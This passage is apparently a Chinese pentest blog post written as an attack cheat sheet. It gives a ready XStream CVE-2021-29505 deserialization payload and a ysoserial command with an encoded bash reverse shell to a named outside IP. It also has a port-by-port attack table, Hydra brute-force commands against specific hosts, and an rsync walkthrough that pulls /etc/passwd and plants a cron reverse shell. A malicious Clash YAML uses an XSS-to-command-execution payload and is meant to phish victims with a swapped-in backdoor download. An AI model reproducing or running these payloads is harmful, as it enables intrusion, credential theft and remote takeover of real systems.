            <m__dtmRoot> 1 </m__dtmRoot>
            <m__allowRelease> false </m__allowRelease>
        </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
        <type> ysomap </type>
        <value class='com.sun.org.apache.xpath.internal.objects.XString'>
            <m__obj class='string'> test </m__obj>
        </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

2、远程代码执行 (CVE-2021-29505)

XStream <= 1.4.16

生成反弹Shell的反序列化JNDI注入

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1089 CommonsCollections6 " bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ ==}|{base64,-d}|{bash,-i}"

构造反序列化JNDI注入Payload提交,将payload放到数据包中发出

注:payload中的IP和端口要更改到实际攻击时上一步的IP和端口

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size> 2 </size>
        </default>
        <int> 3 </int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type> 12345 </type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'> com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content </m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type> 12345 </type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage> true </parsedMessage>
                    <soapVersion> SOAP_11 </soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized> false </attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string> aa </string>
                                        <string> aa </string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string> UnicastRef </string>
                                                <string> 47.94.236.117 </string>
                                                <int> 1089 </int>
                                                <long> 0 </long>
                                                <int> 0 </int>
                                                <long> 0 </long>
                                                <short> 0 </short>
                                                <boolean> false </boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host> 47.94.236.117 </host>
                                        <port> 1089 </port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

端口安全

常见端口-用处&攻击思路

远程连接服务端口

端口号 端口说明 攻击方向
22 SSH 远程连接 爆破、SSH 隧道及内网代理转发、文件传输
23 Telnet 远程连接 爆破、嗅探、弱口令
3389 Rdp 远程桌面连接 Shift 后门 (需要 Windows Server 2003 以下的系统)、爆破
5900 VNC 弱口令、爆破
5632 PyAnywhere 服务 抓密码、代码执行

文件共享服务端口

端口号 端口说明 攻击方向
21/22/69 Ftp/Tftp 文件传输协议 允许匿名的上传、下载、爆破和嗅探操作
2049 Nfs 服务 配置不当
139 Samba 爆破、未授权访问、远程代码执行
389 Ldap 目录访问协议 注入、允许匿名访问、弱口令

Web应用服务端口

端口号 端口说明 攻击方向
80/443/8080 常见的 Web 服务端口 Web 攻击、爆破、对应服务器版本漏洞
7001/7002 WebLogic 控制台 Java 反序列化、弱口令
8080/8089 Jboss/Resin/Jetty/Jenkins 反序列化、控制台弱口令
9090 WebSpere 控制台 Java 反序列化、弱口令
4848 GlassFish 控制台 弱口令
1352 Lotus domino 邮件服务 弱口令、信息泄漏、爆破
10000 Webmin - Web 控制面板 弱口令

数据库服务端口

端口号 端口说明 攻击方向
3306 MySQL 注入、提权、爆破
1433 MSSQL 注入、提权、SA 弱口令、爆破
1521 Oracle TNS 爆破、注入、反弹 Shell
5432 PostgreSQL 爆破、注入、弱口令
27017 MongoDB 爆破、未授权访问
6379 Redis 未授权访问、弱口令爆破
5000 SyBase/DB2 爆破、注入

邮件服务端口

端口号 端口说明 攻击方向
25 SMTP 邮件服务 邮件伪造
110 POP3 协议 爆破、嗅探
143 IMAP 协议 爆破

网络常见协议端口

端口号 端口说明 攻击方向
53 DNS 域名系统 允许区域传送、DNS 劫持、缓存投毒、欺骗
67/68 DHCP 服务 劫持、欺骗
161 SNMP 协议 爆破、搜集目标内网信息

特殊服务端口

端口号 端口说明 攻击方向
2181 Zookeeper 服务 未授权访问
8069 Zabbix 服务 远程执行、SQL 注入
9200/9300 Elasticsearch 服务 远程执行
11211 Memcache 服务 未授权访问
512/513/514 Linux Rexec 服务 爆破、Rlogin 登录
873 Rsync 服务 匿名访问、文件上传
3690 Svn 服务 Svn 泄露、未授权访问
5000 SAP Management Console 远程执行

端口协议-口令爆破&未授权

参考:https://mp.weixin.qq.com/s/xp_LOUmGImrRmkPrDqxKjw

弱口令爆破

hydra 是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户,对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写,指定密码破解,少用,一般是采用密码字典。

-P FILE 大写,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名: 密码”来代替-L/-P 参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数,默认为 16。

-w TIME 设置最大超时的时间,单位秒,默认是 30s。

-v / -V 显示详细过程。

server 目标 ip

service 指定服务名

# 支持的服务和协议:telnet ftp pop3 [-ntlm] imap [-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth [-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp 等等。

例子:

FTP:文件传输协议

RDP:Windows 远程桌面协议

SSH:Linux 安全外壳协议

hydra -L test -P 10top1K.txt 47.110.53.159 ftp -V

hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V

hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V

未授权

未授权访问发现、利用工具:https://github.com/xk11z/unauthorized

案例-rsync

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

工具安装碰坑解决

1.安装慢,进度卡在中间一堆报错 —— 使用pip时换镜像源。

2.This application failed to start because no Qt platform plugin could be initialized —— 参考链接

判断
rsync rsync://120.27.220.186:57830/
利用
  • 读取文件:rsync rsync://120.27.220.186:57830/src/

  • 下载文件:rsync rsync://120.27.220.186:57830/src/etc/passwd ./

  • 上传文件:rsync -av passwd rsync://120.27.220.186:57830/src/tmp/passwd

反弹shell
1、获取信息
rsync rsync://120.27.220.186:57830/src/etc/crontab /root/cron.txt
2、创建文件
touch shell 
#!/bin/bash 
/bin/bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
chmod +x shell
3、上传文件
rsync -av shell rsync://120.27.220.186:57830/src/etc/cron.hourly 
4、等待接受反弹
nc -lvvp 5566

桌面应用-QQ&WPS&***

QQ RCE 漏洞复现

见当前目录下相关文档

WPS RCE 漏洞复现

见前文

*** RCE 漏洞复现

Windows:***.for.Windows 版本 <= v 0.19.8

Mac:***.for.Windows.app 版本 <= v0.19.81

常见于社工钓鱼,别人分享的FQ配置

1、创立一个.yaml的文件,里面可以写入下载后门文件、执行后门文件的命令,这里演示弹出计算器,实战时将其替换为下载后门命令。

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true


proxy-groups:
  - name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

2、诱导目标导入该yaml文件,当目标使用时,就被触发

posted @ 2025-12-02 09:20  shinianyunyan  阅读(36)  评论(0)    收藏  举报